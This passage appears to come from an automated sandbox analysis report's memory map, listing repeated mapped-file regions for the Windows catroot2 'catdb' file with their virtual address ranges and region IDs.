"c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1975 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1976 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1977 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1978 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1979 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1980 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1981 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1982 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1983 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1984 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1985 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1986 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1987 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1988 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1989 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1990 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1991 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1992 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1993 start_va = 0xc50000 end_va = 0xc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1994 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1995 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1996 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1997 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1998 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1999 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2000 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2001 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2002 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2003 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2004 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2005 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2006 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2007 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2008 start_va = 0xc50000 end_va = 0xc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2009 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2010 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2011 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2012 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2013 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2014 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2015 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2016 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2017 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2018 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2019 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2020 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2021 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2022 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2023 start_va = 0xc50000 end_va = 0xc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2024 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2025 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2026 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2027 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2028 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2029 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2030 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2031 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2032 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2033 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2034 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2035 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2036 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2037 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2038 start_va = 0xc50000 end_va = 0xc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2039 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2040 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2041 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2042 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2043 start_va = 0xf70000 end_va = 0xf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2044 start_va = 0xf80000 end_va = 0xf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2045 start_va = 0xf90000 end_va = 0xf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2046 start_va = 0xfa0000 end_va = 0xfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2047 start_va = 0x960000 end_va = 0x96ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2048 start_va = 0xb90000 end_va = 0xb9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2049 start_va = 0xc20000 end_va = 0xc2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2050 start_va = 0xc30000 end_va = 0xc3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2051 start_va = 0xc40000 end_va = 0xc4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2052 start_va = 0x1030000 end_va = 0x103ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2053 start_va = 0xc50000 end_va = 0xc5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2054 start_va = 0xc60000 end_va = 0xc6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2055 start_va = 0xc70000 end_va = 0xc7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2056 start_va = 0xc80000 end_va = 0xc8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2057 start_va = 0xc90000 end_va = 0xc9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 2058 start_va = 0xf70000 